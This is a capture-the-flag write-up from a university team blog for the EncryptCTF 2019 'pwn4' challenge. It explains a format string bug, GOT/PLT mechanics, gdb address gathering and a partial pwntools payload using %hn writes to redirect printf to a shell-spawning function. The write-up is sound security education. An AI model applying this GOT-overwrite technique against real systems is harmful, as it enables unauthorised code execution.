CTF Team at the University of British Columbia

[EncryptCTF 2019] pwn4 (300)

04 Apr 2019

Program Source + Explanation

int _() {
  return system("/bin/bash");

int __cdecl main(int argc, const char **argv, const char **envp) {

  char s; // [esp+1Ch] [ebp-84h]
  unsigned int v5; // [esp+9Ch] [ebp-4h]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
  printf("\ni don't belive you!\n%s\n", &s);

  return 0;

There is a function specifically made to call system("/bin/sh") (usually called the “win” function) - this makes things easier, because we don’t have to think about passing arguments and grabbing "/bin/sh" from memory, etc. We note that the main function receives through gets() and then proceeds to use printf() twice.

EverTokki@shell:~/TEMP$ ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?

i don't belive you!

As you may know, printf(&s) is prone to a format string bug. You can use this bug to either leak elements off the stack(%d, %x, %p, %s), or to write to addresses(%n). We can see that the seventh element in the leak is 0x41414141, also known as “AAAA”. It’s printing out the stack elements - the first 6 elements, if I recall correctly, are register values. What does this mean? - We can store addresses in the stack so that our format string bug will write to those addresses.

Simple GOT overwrite using format string bug

I recommend reading more about GOT and PLT if this post alone doesn’t make sense.

Basically, here’s a rundown of PLT and GOT:

  • When you call a function, it jumps to PLT.
  • PLT contains a jump to the GOT.
  • GOT is a table of jumps.
  • After you jump from GOT, you can finally get the “real” address of the function (which gets affected by ASLR).

GOT is empty when you first look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that the jump from GOT will land at the function at LIBC.

So, we want to:

  • Input a string into gets() that utilizes the format string bug.
  • Once printf(&s) is called, this will overwrite the GOT of printf(). We want to overwrite this with the address of win().
  • When printf() is called again, it will call win() instead.

Some tips in general:

  • It’s easier (to understand your own payload + calculate offsets) if you put all the necessary addresses that you want to overwrite at, at the very beginning of your payload.
  • If you have a negative offset that you have to write, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with %hn in order to only write the last two bytes.
  • PLT is read-only, hence we overwrite GOT instead.

Gathering addresses

EverTokki@shell:~/TEMP$ gdb -q pwn4
Reading symbols from pwn4...(no debugging symbols found)...done.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x8048400 <system@plt>
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x80483c0 <printf@plt>
gdb-peda$ x/xi 0x80483c0
   0x80483c0 <printf@plt>:	jmp    DWORD PTR ds:0x80498fc
  • system@PLT: 0x8048400
  • printf@GOT: 0x80498fc


#!/usr/bin/env python
from pwn import *

r = remote("", 5678)
#r = process("./pwn4")

# buffer is 7th argument

printf_got1 = 0x080498fc
printf_got2 = 0x080498fe

system = 0x804853d

payload = ""
payload += p32(printf_got1)
payload += p32(printf_got2)

# 8 bytes written

# printf -> win
# 0x853d(34109)
payload += "%34101c%7$hn"

# 0x10804(67588)
payload += "%33479c%8$hn"

print r.recvuntil("by the old gods and the new?\n")